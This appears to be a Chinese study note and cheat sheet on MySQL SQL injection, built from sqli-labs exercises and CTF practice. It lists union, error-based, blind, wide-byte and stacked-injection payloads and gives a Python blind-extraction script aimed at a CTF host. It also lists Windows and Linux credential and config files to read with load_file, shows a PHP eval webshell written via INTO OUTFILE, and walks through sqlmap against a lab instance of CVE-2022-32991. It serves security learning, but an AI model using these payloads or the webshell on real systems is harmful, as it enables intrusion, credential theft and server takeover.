【以mysql 数据库为例】

【参考书目:sqlilabs过关手册注入天书 https://www.cnblogs.com/lcamry/category/846064.html】

推荐看原书,这篇文章主要做整理学习之用!

Sql 注入简介

常见的结构化数据库有 MySQL,MSSQL ,Oracle 以及 Postgresql。

SQL注入就是用户在能够控制SQL查询、更新、插入、删除等语句的参数的情况下,攻击者通过构造特殊的输入字符串使后端程序错误地识别SQL查询语句中的代码与数据部分从而导致数据库管理系统输出了非预期的结果的一种行为。

# 常用系统函数

1. version()——MySQL 版本
2. user()——数据库用户名
3. database()——数据库名
4. @@datadir——数据库路径
5. @@version_compile_os——操作系统版本

# 字符串连接函数

1. concat(str1,str2,...)——没有分隔符地连接字符串
2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
3. group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据

# 截取字符串常用函数

1. mid(column_name,start[,length])——提取字符里的字段
2. substring(string, start, length)
   substr(string, start, length)——同mid
3. Left(string, n)——string为要截取的字符串,n为长度。得到字符串左部指定个数的字符
4. ord(char)——返回第一个字符的ASCII码

# 字符转义相关函数

1. addslashes(string) 返回在预定义字符之前添加反斜杠的字符串。
2. stripslashes(string) 删除由 addslashes() 函数添加的反斜杠。
3. mysql_real_escape_string(string) 转义 SQL 语句中使用的字符串中的特殊字符。

Sql 注入方式

按照注入参数类别分

字符型注入

单引号注入
# $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

# 构造 

?id=1'or 1=1--+  
?id=1'order by 4--+ 测试数据列数 
?id=-1'union select 1,2--+ union 联合注入

# 爆数据库
?id=-1'union select 1,group_concat(schema _name),3 from information_schema.schemata--+  

# 爆数据表
?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

# 爆数据列
?id='-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

# 爆数据
?id='-1'union select 1,username,password from users where id=2--+
双引号注入
$sql="SELECT * FROM users WHERE id=(“$id”) LIMIT 0,1";
数字型注入
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

sql 注入时相应修改闭合方式即可。

按照请求方法分

GET 型注入

顾名思义,即注入点的参数是通过GET请求发送到后端进行处理的。

url注入
# url
http://localhost/sqli-labs/Less-2/?id=1 --+

# 后台处理代码如下

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
请求头注入

这种方式注入点在请求头中。

# 【对请求头中的user-agent字段在数据库中进行了查询,来防止恶意爬虫】
# 也可能是其它字段,但这种注入方式一般很少

$link = @mysqli_connect($host,$username,$password,$dbname,$port);
$userAgent=getallheaders()['User-Agent'];
$query="select * from AgentJudge where userAgent='{$userAgent}'";
$result=mysqli_query($link,$query);
if (mysqli_num_rows($result)!=0){
	print('请不要恶意浏览本网页');
}

后端未对user-agent字段做过滤。

POST 型注入

POST注入与GET注入不同的地方在于请求的参数是放在请求体中而不是在url中直接显示给用户的。

【可以通过burpsuite 进行抓包修改】

按照注入次数分

一次注入

区别于二次注入。

二次注入

二次注入也是存储型的注入,就是将可能导致 sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发 sql 注入。

二次排序注入思路:

1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交 HTTP 数据报文请求到服务
端进行处理,提交的数据报文请求中可能包含了黑客构造的 SQL 语句或者命令。
2. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的
数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。
4. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的 SQL 语句或者命令在服务端环境中执行。
5. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。

示例:

# 注册一个 admin’#的账号,接下来登录该帐号后进行修改密码。此时
修改的就是 admin。

/* updata.php */
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

# 此时 Sql 语句为: 
UPDATE users SET passwd="New_Pass" WHERE username ='admin' # ' AND password=' 

相当于
UPDATE users SET passwd="New_Pass" WHERE username =' admin' 

按照从服务器接收到的响应分

基于报错的Sql 注入

构造 payload 让信息通过错误提示回显出来。

```
▲ select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))

如果关键的表被禁用:
select count(*) from (select 1 union select null union
select !1) group by concat(version(),floor(rand(0)*2))

如果 rand 被禁用了可以使用用户变量来报错:
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

//double 数值类型超出范围
▲ select exp(~(select * FROM(SELECT USER())a)) 

//bigint 超出范围;~0 是对 0 逐位取反,很大的版本在 5.5.5 及其以上
▲ select !(select * from (select user())x) - ~0

//mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误
▲ extractvalue(1,concat(0x7e,(select @@version),0x7e))

//mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误
▲ updatexml(1,concat(0x7e,(select @@version),0x7e),1) 

//mysql 重复特性,此处重复了 version,所以报错
▲ select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
```

联合查询注入

union有一个十分严格的约束条件,因为是联合查询,必选保证字段数一致,即两个查询结果有相同的列数,因此我们要对字段数进行判断。
一般使用 order by number ,作用为输出第number列。

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

?id=1'or 1=1--+  
?id=1'order by 4--+ 测试数据列数 
?id=-1'union select 1,2--+ union 联合注入

# 其余步骤相同
# id=-1,是因为 sql 语句执行了两个 select 语句,第一个 select 为 id 的选择语句,第二个为我们构造的 select 语句。
只有一个数据(因为limit 0,1)可以输出,为了让我们自己构造的数据可以正常输出,第一个 select 要没有结果,所以-1 或者超过数据库所有数据都可以。

Sql 盲注

基于布尔 SQL 盲注
# 一些常用的壳子

▲ left(database(),1)>’s’ 

▲ ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+ 

▲ ascii(substr((select database()),1,1))=98

▲ ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23

▲ regexp 正则注入
▲ select user() regexp '^[a-z]' --+
USER() 函数返回 MySQL 连接的当前用户名和主机名。

1. select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));

2. select * from users where id=1 and 1=(user() regexp'^ri');

3. select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);

4. '^u[a-z]' -> '^us[a-z]' -> '^use[a-z]' -> '^user[a-z]' -> FALSE  依次爆出

▲ like 匹配注入
select user() like ‘ro%  与正则注入类似

# 一个布尔盲注的python 脚本

import requests

url = 'http://82.156.5.200:1045/secrets.php'
result = ''
data = {
    "id": "1' and (ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))<128) #"
}

headers = {
    "Cookie": "PHPSESSID=a3b7e533a45e3b9087113b3b8fb6ad81"
}
# response = requests.get(url=url, params=data,headers=headers)
# print(response.text)

for x in range(1, 100):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        # information_schema,mysql,ctftraining,performance_schema,test,moectf
        # data['id'] = "1' and (ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{0},1))>{1}) #".format(x, mid)
        # table_name  articles,flag,users
        # data['id'] = "1' and (ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='moectf')),{0},1))>{1}) #".format(x, mid)
        # column_name flAg
        # data['id'] = "1' and (ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),{0},1))>{1}) #".format(x, mid)
        # moectf{Ar3_you_,sCr1ptboy} 修正 moectf{Ar3_you_sCr1ptboy}
        data['id'] = "1' and (ascii(substr((select(group_concat(flAg))from(flag)),{0},1))>{1}) #".format(x, mid)

        response = requests.get(url=url, params=data,headers=headers)
        # print(response.text)

        if '!' in response.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2

    result += chr(int(mid))
    print(result,'==>',mid)
基于时间的 SQL 盲注
//if 判断语句,条件为假,执行 sleep
If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 

宽字节注入

原理:mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)。我们在过滤 ’ 的时候,往往利用的思路是将 ‘ 转换为 \’ 。 因此我们在此想办法将 ‘ 前面添加的 \ 除掉,一般有两种思路:

1、%df 吃掉 \ 
具体的原因是 urlencode(‘\) = %5c%27,我们在%5c%27 前面添加%df,形成%df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此事%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。

2、将 \’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 的情况,后面的%5c 会被前面的%5c给注释掉。

示例:

# less-33 GET 方式

function check_addslashes($string)
{
    $string= addslashes($string);    
    return $string;
}

mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);

# 可以知道,addslashes() 函数对 '、"、\, 进行了转义。

# 考虑 宽字节注入 中的第一个思路,添加一个%df 后,将%5c 吃掉即可
?id=-1%df%27union%20select%201,user(),3--+

# 防御
使用 addslashes(),我们需要将 mysql_query 设置为 binary 的方式,才能防御此漏洞。

Mysql_query(“SET
character_set_connection=gbk,character_set_result=gbk,character_set_client=binary”,$conn);
# less-34 POST 方式

将 utf-8 转换为 utf-16或 utf-32,例如将 ' 转为 utf-16 为 � '。
同样可以绕过过滤。

堆叠注入

从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在 mysql 中,主要命令中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。

联合注入与堆叠注入的区别

联合注入是将两条语句合并在一起。
区别就在于 union 或者 union all 执行的语句类型是有限的,只可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

堆叠注入的局限性

堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
同时在 web 系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果。

Sql 导入导出文件操作

load_file 常用路径

windows下:

c:/boot.ini //查看系统版本

c:/windows/php.ini //php配置信息

c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码

c:/winnt/php.ini

c:/winnt/my.ini

c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码

c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码

c:\Program Files\Serv-U\ServUDaemon.ini

c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置

c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码

c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此

c:\Program Files\RhinoSoft.com\ServUDaemon.exe

C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件

//存储了pcAnywhere的登陆密码

c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件

c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.

c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机

d:\APACHE\Apache2\conf\httpd.conf

C:\Program Files\mysql\my.ini

C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

linux/unix:

/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件

/usr/local/apache2/conf/httpd.conf

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置

/usr/local/app/php5/lib/php.ini //PHP相关设置

/etc/sysconfig/iptables //从中得到防火墙规则策略

/etc/httpd/conf/httpd.conf // apache配置文件

/etc/rsyncd.conf //同步程序配置文件

/etc/my.cnf //mysql的配置文件

/etc/redhat-release //系统版本

/etc/issue

/etc/issue.net

/usr/local/app/php5/lib/php.ini //PHP相关设置

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置

/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件

/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看

/usr/local/resin-pro-3.0.22/conf/resin.conf 同上

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看

/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件

/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看

/usr/local/resin-pro-3.0.22/conf/resin.conf 同上

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看

/etc/sysconfig/iptables 查看防火墙策略

load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录

load_file()导出文件

Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。

# 使用条件

A、必须有权限读取并且文件必须完全可读
and (select count(*) from mysql.user)>0
——如果结果返回正常,说明具有读写权限。返回错误,应该是管理员给数据库帐户降权

B、欲读取文件必须在服务器上
C、必须指定文件完整的路径
D、欲读取文件必须小于 max_allowed_packet


示例:
1. Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109)))
——利用 hex()将文件内容导出来,尤其是 smb 文件时可以使用。

2. -1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
——“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的 ASCII 代码

3. -1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
——“c:/boot.ini”的 16 进制是“0x633a2f626f6f742e696e69”

4. -1 union select 1,1,1,load_file(c:\\boot.ini)
——路径里的/用 \\代替

# 当前台无法导出数据的时候,我们可以利用下面的语句:
select load_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini’)into outfile
‘c:\\wamp\\www\\test.php’ 可以利用该语句将服务器当中的内容导入到 web 服务器下的目录,这样就可以得到数据了。上述 my.ini 当中存在 password 项(不过默认被注释)。

文件导入到数据库

在注入过程中,往往需要一些特殊的文件,比如配置文件,密码文件等。当具有数据库的权限时,可以将系统文件利用 load data infile 导入到数据库中。

示例:
load data infile '/tmp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'

# 解释
将/tmp/t0.txt 导入到 t0 表中
character set gbk 是字符集设置为 gbk
fields terminated by 是每一项数据之间的分隔符
lines terminated by 是行的结尾符
当错误代码是 2 的时候的时候,文件不存在。
错误代码为 13 的时候是没有权限,可以考虑/tmp 等文件夹。


数据库导入到文件

SELECT.....INTO OUTFILE 'file_name'

可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此必须拥有 FILE 权限,才能使用此语法。同时file_name 不能是一个已经存在的文件。

两种利用形式:

# 将 select 内容导入到文件
1. Select version() into outfile "c:\\phpnow\\htdocs\\test.php" 

# 处将 version()替换成一句话木马
<?php @eval($_post[“mima”])?>

2. Select <?php @eval($_post[“mima”])?> into outfile “c:\\phpnow\\htdocs\\test.php

# 修改文件结尾
Select version() Into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16 进制文件

解释:通常是用‘\r\n’结尾,此处我们修改为自己想要的任何文件。
同时可以用 FIELDS TERMINATED BY 16 进制可以为一句话木马或者其他任何的代码。

sqlmap 注入壳子

参数设置规则

-u 指定目标URL (可以是http协议也可以是https协议)

-p      指定注入点参数

--user-agent    指定ua头

--cookie        指定cookie
 
-d 连接数据库
 
--dbs 列出所有的数据库
 
--current-db 列出当前数据库
 
--tables 列出当前的表
 
--columns 列出当前的列
 
-D 选择使用哪个数据库
 
-T 选择使用哪个表
 
-C 选择使用哪个列
 
--dump 获取字段中的数据
 
--batch 自动选择yes
 
--smart 启发式快速判断,节约浪费时间
 
--forms 尝试使用post注入
 
-r 加载文件中的HTTP请求(本地保存的请求包txt文件)
 
-l 加载文件中的HTTP请求(本地保存的请求包日志文件)
 
-g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试
 
-o 开启所有默认性能优化
 
--tamper 调用脚本进行注入
 
-v 指定sqlmap的回显等级
 
--delay 设置多久访问一次
 
--os-shell 获取主机shell,一般不太好用,因为没权限
 
-m 批量操作
 
-c 指定配置文件,会按照该配置文件执行动作
 
-data data指定的数据会当做post数据提交
 
-timeout 设定超时时间
 
--level 设置注入探测等级
 
--risk 风险等级
 
--identify-waf 检测防火墙类型
 
--param-del="分割符" 设置参数的分割符
 
--skip-urlencode 不进行url编码
 
--keep-alive 设置持久连接,加快探测速度
 
--null-connection 检索没有body响应的内容,多用于盲注
 
--thread 最大为10 设置多线程

--level

level有5个等级,默认等级为1,进行Cookie测试时使用--level 2 ,进行use-agent或refer测试时使用--level 3 ,进行 host 测试时使用--level 5

--safe-url

有的web服务器会在多次错误的访问请求后屏蔽所有请求,使用--safe-url 就可以每隔一段时间去访问一个正常的页面。

sqlmap -r ["请求包的txt文件"]

sqlmap 使用案例

以 CVE-2022-32991 【Web Based Quiz System SQL注入】为例

方式1

GET /welcome.php?q=quiz&step=2&eid=60377db362694&n=2&t=34 HTTP/1.1
Host: eci-2zeipyg0l0ohlnjkmu72.cloudeci1.ichunqiu.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://eci-2zeipyg0l0ohlnjkmu72.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=uecdtmepdr3vipnjraubgm8fi4
Connection: close
# 爆数据库

sqlmap -u "http://eci-2zeipyg0l0ohlnjkmu72.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34" -p "eid" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36" --cookie="PHPSESSID=uecdtmepdr3vipnjraubgm8fi4" --batch --dbs 

[*] ctf
[*] information_schema
[*] mysql
[*] performance_schema

# 表

sqlmap -u "http://eci-2zeipyg0l0ohlnjkmu72.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34" -p "eid" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36" --cookie="PHPSESSID=uecdtmepdr3vipnjraubgm8fi4" --batch -D ctf --tables

+-----------+
| rank      |
| user      |
| admin     |
| answer    |
| flag      |
| history   |
| options   |
| questions |
| quiz      |
+-----------+

# 列

sqlmap -u "http://eci-2zeipyg0l0ohlnjkmu72.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34" -p "eid" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36" --cookie="PHPSESSID=uecdtmepdr3vipnjraubgm8fi4" --batch -D ctf -T flag --columns

+--------+---------------+
| Column | Type          |
+--------+---------------+
| flag   | varchar(1024) |
+--------+---------------+

# 字段

sqlmap -u "http://eci-2zeipyg0l0ohlnjkmu72.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34" -p "eid" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36" --cookie="PHPSESSID=uecdtmepdr3vipnjraubgm8fi4" --batch -D ctf -T flag -C flag --dump

+--------------------------------------------+
| flag                                       |
+--------------------------------------------+
| flag{1bc5b4e9-97c7-49e9-a311-e53f9e21f25c} |
+--------------------------------------------+

方式2

burpsuite 抓包,将请求头存入 header.txt

sqlmap -r header.txt -batch --dbs
sqlmap -r header.txt -batch -D ctf --tables
sqlmap -r header.txt -batch -D ctf -T flag --columns
sqlmap -r header.txt -batch -D ctf -T flag -C flag --dump